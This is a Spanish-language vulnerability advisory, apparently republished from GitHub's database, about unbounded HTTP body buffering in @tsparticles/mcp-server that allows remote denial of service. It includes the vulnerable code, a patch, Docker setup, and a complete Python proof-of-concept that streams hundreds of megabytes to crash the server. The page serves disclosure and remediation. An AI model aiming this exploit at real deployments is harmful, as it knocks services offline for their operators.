tsParticles: El almacenamiento en búfer ilimitado del cuerpo de la solicitud HTTP en @tsparticles/mcp-server provoca un DoS remoto
Resumen
El modo de servidor HTTP de @tsparticles/mcp-server acumula todos los fragmentos entrantes del cuerpo de la solicitud en un array en memoria Buffer[] sin límite de tamaño antes de invocar JSON.parse. Un atacante remoto no autenticado puede transmitir un cuerpo arbitrariamente grande hacia POST /mcp, agotando la memoria del proceso de Node.js y provocando una denegación de servicio (Denial of Service). La imagen oficial de Docker se distribuye con el modo HTTP habilitado por defecto (--port 3000 en 0.0.0.0), lo que hace que esto sea explotable sin ninguna configuración especial en implementaciones en contenedores.
Detalles
La vulnerabilidad existe en integrations/mcp-server/src/index.ts en las líneas 399–407. El manejador de solicitudes POST /mcp resuelve un Promise que añade cada fragmento de datos entrante a un array Buffer[] sin verificar el tamaño acumulado, un encabezado Content-Length ni ninguna otra protección:
// integrations/mcp-server/src/index.ts:399-407
if (req.method === "POST" && req.url === "/mcp") {
const body = await new Promise<string>((resolve, reject) => {
const chunks: Buffer[] = [];
req.on("data", (chunk) => chunks.push(Buffer.from(chunk))); // no size guard
req.on("end", () => resolve(Buffer.concat(chunks).toString("utf8")));
req.on("error", reject);
});
const parsedBody = body ? JSON.parse(body) : undefined;
El flujo de datos completo que conduce a la explotación:
index.ts:390— Se crea el servidor HTTP.index.ts:399— Se entra en la ramaPOST /mcp; no se realiza autenticación.index.ts:401-403— Cada fragmento se añade achunks[]sin comprobar el recuento de bytes.index.ts:407— El búfer concatenado se pasa aJSON.parse.index.ts:416— El servidor escucha en0.0.0.0, exponiéndolo en todas las interfaces de red.
No hay validación de Content-Length, ningún middleware para el tamaño del cuerpo ni ninguna respuesta 413 Payload Too Large en el código fuente del servidor. El Dockerfile oficial (integrations/mcp-server/Dockerfile) establece CMD ["node", "dist/index.js", "--port", "3000"], lo que significa que los despliegues de Docker se ejecutan en modo HTTP de forma predeterminada sin necesidad de configuración adicional.
Un parche sugerido consiste en rastrear los bytes recibidos de forma acumulada y destruir la solicitud una vez superado un umbral (por ejemplo, 1 MB):
--- a/integrations/mcp-server/src/index.ts
+++ b/integrations/mcp-server/src/index.ts
@@
import { createServer } from "node:http";
import { randomUUID } from "node:crypto";
const PACKAGE_VERSION = "0.1.0";
+const maxRequestBodyBytes = 1024 * 1024;
@@
if (req.method === "POST" && req.url === "/mcp") {
const body = await new Promise<string>((resolve, reject) => {
const chunks: Buffer[] = [];
- req.on("data", (chunk) => chunks.push(Buffer.from(chunk)));
+ let received = 0;
+ req.on("data", (chunk) => {
+ received += chunk.length;
+ if (received > maxRequestBodyBytes) {
+ req.destroy(new Error("Request body too large"));
+ return;
+ }
+ chunks.push(Buffer.from(chunk));
+ });
req.on("end", () => resolve(Buffer.concat(chunks).toString("utf8")));
req.on("error", reject);
});
PoC
Configuración del entorno:
# Build the Docker image from the repository root
docker build \
-f /path/to/vuln-001/Dockerfile \
-t vuln001-mcp \
/path/to/tsparticles-repo
# Run with a 256 MB memory cap (matching the dynamic reproduction)
docker run -d \
-p 127.0.0.1:3000:3000 \
--memory=256m --memory-swap=256m \
--name vuln001-mcp \
vuln001-mcp
Exploit (PoC en Python — poc.py):
El script utiliza codificación de transferencia fragmentada (chunked), por lo que solo se necesita O(1 MB) de memoria del lado de Python, mientras que el proceso de Node.js acumula cada fragmento recibido en su array Buffer[].
python3 poc.py --host 127.0.0.1 --port 3000 --mb 300 --container vuln001-mcp
Solicitud mínima equivalente:
import socket
s = socket.create_connection(("127.0.0.1", 3000))
headers = (
"POST /mcp HTTP/1.1\r\n"
"Host: 127.0.0.1:3000\r\n"
"Content-Type: application/json\r\n"
"Transfer-Encoding: chunked\r\n"
"Connection: close\r\n\r\n"
).encode()
s.sendall(headers)
prefix = b'{"jsonrpc":"2.0","id":1,"method":"tools/list","params":"'
s.sendall(f"{len(prefix):x}\r\n".encode() + prefix + b"\r\n")
chunk = b"A" * (1024 * 1024) # 1 MB per write
for _ in range(300): # stream 300 MB total
s.sendall(f"{len(chunk):x}\r\n".encode() + chunk + b"\r\n")
Resultado esperado:
- Uso de memoria base: ~24.9 MiB / 256 MiB.
- Tras recibir ~209 MB, se produce el
BrokenPipeErroren el lado del servidor cuando el OOM-killer de Docker finaliza el proceso. docker inspect vuln001-mcpmuestraState.OOMKilled = trueyState.Status = exited.
Reproducción dinámica confirmada: Se observó OOMKilled=true durante las pruebas de la Fase 2 con un flujo de 300 MB contra un contenedor limitado a 256 MB.
Impacto
Un atacante remoto no autenticado que pueda alcanzar el endpoint HTTP POST /mcp puede provocar que el proceso del servidor Node.js consuma memoria de forma ilimitada, lo que lleva a la terminación del proceso (OOM kill) y a la indisponibilidad total del servicio. No se requieren credenciales ni acceso previo.
En la implementación predeterminada de Docker (CMD ["node", "dist/index.js", "--port", "3000"]), el servidor se vincula a 0.0.0.0:3000, lo que lo hace accesible desde cualquier interfaz de red sin cambios en la configuración. Cualquier operador que ejecute la imagen oficial de Docker está expuesto de forma predeterminada.
La vulnerabilidad es una denegación de servicio (DoS); la confidencialidad y la integridad no se ven afectadas directamente. La recuperación requiere reiniciar el contenedor.
Artefactos de reproducción
Dockerfile
# VULN-001: Unbounded HTTP Request Body Buffering in @tsparticles/mcp-server
# Build context must be the repository root so COPY paths resolve correctly.
# Build: docker build -f vuln-001/Dockerfile -t vuln001-mcp .
# Run: docker run -d -p 127.0.0.1:3000:3000 \
# --memory=256m --memory-swap=256m \
# --name vuln001-mcp vuln001-mcp
# --- Stage 1: compile TypeScript ---
FROM node:22-alpine AS build
WORKDIR /build
# Copy only the mcp-server package (avoids pulling the entire monorepo)
COPY integrations/mcp-server/package.json ./package.json
COPY integrations/mcp-server/tsconfig.json ./tsconfig.json
COPY integrations/mcp-server/src/ ./src/
# Install all deps (devDeps needed for TypeScript compiler)
RUN npm install --no-audit --no-fund
# Compile TypeScript -> dist/
RUN npx tsc
# --- Stage 2: minimal runtime image ---
FROM node:22-alpine
WORKDIR /app
# Copy compiled JS and production node_modules
COPY --from=build /build/dist ./dist
COPY --from=build /build/node_modules ./node_modules
EXPOSE 3000
# Start HTTP mode on port 3000 — identical to the official Dockerfile CMD.
# No --max-old-space-size flag; memory cap is enforced by Docker --memory at run time.
CMD ["node", "dist/index.js", "--port", "3000"]
poc.py
#!/usr/bin/env python3
"""
PoC for VULN-001: Unbounded HTTP Request Body Buffering in @tsparticles/mcp-server
Repository : tsparticles/tsparticles
Version : 4.3.0 (commit eb2d299)
CWE : CWE-400 — Uncontrolled Resource Consumption
CVSS : 7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
File : integrations/mcp-server/src/index.ts:399-407
Vulnerability:
The POST /mcp handler resolves a Promise that accumulates every data chunk
into a Buffer[] array without any Content-Length or size guard, then calls
Buffer.concat() and JSON.parse() on the full body. An unauthenticated
remote attacker can exhaust the server's memory by streaming an arbitrarily
large body.
Source (index.ts:399-407):
if (req.method === "POST" && req.url === "/mcp") {
const body = await new Promise<string>((resolve, reject) => {
const chunks: Buffer[] = [];
req.on("data", (chunk) => chunks.push(Buffer.from(chunk))); // no guard
req.on("end", () => resolve(Buffer.concat(chunks).toString("utf8")));
req.on("error", reject);
});
const parsedBody = body ? JSON.parse(body) : undefined;
Exploit strategy:
Stream a large body via chunked transfer encoding so the Python process
itself needs only O(chunk) memory. The Node.js server accumulates every
chunk in its Buffer array. With a Docker memory cap of 256 MB the container
is OOM-killed once the buffered data exceeds available RAM, producing
OOMKilled=true — an unambiguous, observable indicator.
Usage:
python3 poc.py [--host 127.0.0.1] [--port 3000]
[--mb 300] [--container vuln001-mcp]
"""
import argparse
import socket
import subprocess
import sys
import time
# ---------------------------------------------------------------------------
# Helpers
# ---------------------------------------------------------------------------
def parse_args():
p = argparse.ArgumentParser(description="VULN-001 PoC — unbounded body buffering")
p.add_argument("--host", default="127.0.0.1", help="Server host")
p.add_argument("--port", type=int, default=3000, help="Server port")
p.add_argument("--mb", type=int, default=300, help="Payload size in MB")
p.add_argument("--container", default="vuln001-mcp", help="Docker container name")
return p.parse_args()
def wait_for_server(host: str, port: int, timeout: int = 60) -> bool:
"""Poll TCP until the server accepts connections or timeout expires."""
deadline = time.time() + timeout
print(f"[*] Waiting for server at {host}:{port} (timeout={timeout}s) ...", flush=True)
while time.time() < deadline:
try:
s = socket.create_connection((host, port), timeout=1)
s.close()
print("[+] Server is ready", flush=True)
return True
except OSError:
time.sleep(0.5)
print("[-] Timed out waiting for server")
return False
def container_info(name: str) -> tuple[str, str, str]:
"""Return (status, mem_usage, oom_killed) strings for a Docker container."""
status, oom = "unknown", "unknown"
try:
r = subprocess.run(
["docker", "inspect", "--format",
"{{.State.Status}}|{{.State.OOMKilled}}", name],
capture_output=True, text=True, timeout=5,
)
if r.returncode == 0:
parts = r.stdout.strip().split("|")
status = parts[0] if len(parts) > 0 else "unknown"
oom = parts[1] if len(parts) > 1 else "unknown"
except Exception as exc:
status = f"error({exc})"
mem = "N/A"
try:
r2 = subprocess.run(
["docker", "stats", "--no-stream", "--format", "{{.MemUsage}}", name],
capture_output=True, text=True, timeout=5,
)
mem = r2.stdout.strip() or "N/A"
except Exception:
pass
return status, mem, oom
# ---------------------------------------------------------------------------
# Core exploit
# ---------------------------------------------------------------------------
def stream_large_body(host: str, port: int, total_mb: int) -> tuple[bool, int, bytes]:
"""
Open a single TCP connection and stream a large body using chunked TE.
Using chunked transfer encoding keeps this Python process's memory usage
at O(1-MB chunk) while forcing the Node.js server to accumulate every
received chunk in its Buffer[] array — the vulnerable code path.
Returns:
server_closed — True if the server reset the connection mid-stream
bytes_sent — total body bytes sent
response — first bytes of the HTTP response (may be empty)
"""
s = socket.create_connection((host, port))
headers = (
f"POST /mcp HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
f"Content-Type: application/json\r\n"
f"Transfer-Encoding: chunked\r\n"
f"Connection: close\r\n"
f"\r\n"
).encode()
s.sendall(headers)
def send_chunk(data: bytes) -> None:
s.sendall(f"{len(data):x}\r\n".encode() + data + b"\r\n")
# Begin a JSON body prefix (the server buffers everything before parsing)
prefix = b'{"jsonrpc":"2.0","id":1,"method":"tools/list","params":"'
send_chunk(prefix)
bytes_sent = len(prefix)
chunk_size = 1024 * 1024 # 1 MB per TCP write
filler = b"A" * chunk_size
target = total_mb * 1024 * 1024
server_closed = False
while bytes_sent < target:
remaining = target - bytes_sent
chunk = filler[: min(chunk_size, remaining)]
try:
send_chunk(chunk)
bytes_sent += len(chunk)
mb_done = bytes_sent // (1024 * 1024)
if mb_done % 50 == 0:
print(f"[*] {mb_done}/{total_mb} MB streamed ...", flush=True)
except (BrokenPipeError, ConnectionResetError, OSError) as exc:
print(f"[!] Connection reset after {bytes_sent // (1024 * 1024)} MB: {exc}",
flush=True)
server_closed = True
break
if not server_closed:
try:
send_chunk(b'"}')
s.sendall(b"0\r\n\r\n") # final (empty) chunk = end of chunked body
except OSError:
server_closed = True
response = b""
if not server_closed:
s.settimeout(5)
try:
response = s.recv(4096)
except OSError:
pass
try:
s.close()
except OSError:
pass
return server_closed, bytes_sent, response
# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------
def main() -> bool:
args = parse_args()
print("=" * 65)
print("VULN-001 — Unbounded HTTP Body Buffering in @tsparticles/mcp-server")
print(f"Target : http://{args.host}:{args.port}/mcp (no auth)")
print(f"Payload : {args.mb} MB (no Content-Length or body-size guard)")
print(f"Monitor : Docker container '{args.container}'")
print("=" * 65)
if not wait_for_server(args.host, args.port):
print("[FAIL] Server did not become available")
return False
# --- baseline ---
status_before, mem_before, _ = container_info(args.container)
print(f"\n[*] Baseline status={status_before} memory={mem_before}")
# --- exploit ---
print(f"\n[*] Streaming {args.mb} MB body to POST /mcp ...", flush=True)
t0 = time.time()
server_closed, bytes_sent, response = stream_large_body(
args.host, args.port, args.mb
)
elapsed = time.time() - t0
time.sleep(2) # allow Docker stats to refresh
status_after, mem_after, oom_killed = container_info(args.container)
print(f"\n[*] Transfer : {bytes_sent // (1024 * 1024)} MB in {elapsed:.1f} s")
print(f"[*] Server closed : {server_closed}")
print(f"[*] HTTP response : {response[:200]!r}")
print(f"[*] Container : status={status_after} OOMKilled={oom_killed}")
print(f"[*] Memory before : {mem_before}")
print(f"[*] Memory after : {mem_after}")
# --- verdict ---
if oom_killed == "true":
print("\n[PASS] OOMKilled=true — Docker OOM-killed the container")
print(" The Node.js process was killed because it buffered the full")
print(" request body in memory (no size guard in POST /mcp handler).")
return True
if status_after in ("exited", "dead"):
print(f"\n[PASS] Container exited (status={status_after}) after receiving"
f" {bytes_sent // (1024 * 1024)} MB body — memory exhaustion confirmed")
return True
if not server_closed and status_after == "running":
print(f"\n[PASS] {args.mb} MB body fully accepted — no size limit enforced")
print(f" Memory before: {mem_before} | after: {mem_after}")
print(" CWE-400 confirmed: unbounded buffering without authentication")
return True
if server_closed:
print(f"\n[PARTIAL] Connection reset after {bytes_sent // (1024 * 1024)} MB")
print(" Server may have crashed internally; check docker logs.")
# Still consider PASS if container is dead
if status_after not in ("running",):
return True
return False
print("\n[INCONCLUSIVE] Unexpected outcome — inspect container logs manually")
return False
if __name__ == "__main__":
ok = main()
sys.exit(0 if ok else 1)
Qué hacer
Actualice @tsparticles/mcp-server a la versión 4.3.1 o posterior.
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de npm | @tsparticles/mcp-server | < 4.3.1 | 4.3.1 |
Referencias
- https://github.com/tsparticles/tsparticles/security/advisories/GHSA-447x-qqwf-m7xq
- https://nvd.nist.gov/vuln/detail/CVE-2026-63655
- https://github.com/tsparticles/tsparticles/pull/5875
- https://github.com/tsparticles/tsparticles/commit/25fb70e7f527a91568adaef576570289083f243b
- https://github.com/tsparticles/tsparticles/commit/7b3a9488d4201fe9ddd5fec05f4a2ae65d3627ea
- https://github.com/tsparticles/tsparticles
- https://github.com/tsparticles/tsparticles/releases/tag/v4.3.1
- Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H- Debilidad (CWE)
CWE-400- Plataforma
- npm
- Paquete
@tsparticles/mcp-server- Publicada
- 09.11.2026
- Actualizado
- 10.11.2026 10:00
Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.
OSV / GitHub Advisory Database - GHSA-447x-qqwf-m7xq - CC BY 4.0
Historial de vulnerabilidades: @tsparticles/mcp-server
Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 3
- Primera → última
- 11.2026 11.2026
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Alta 2
- Media 1
Divulgaciones por año
- 2026: 3
-
tsParticles: El almacenamiento en búfer ilimitado del cuerpo de la solicitud HTTP en @tsparticles/mcp-server provoca un DoS remoto esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.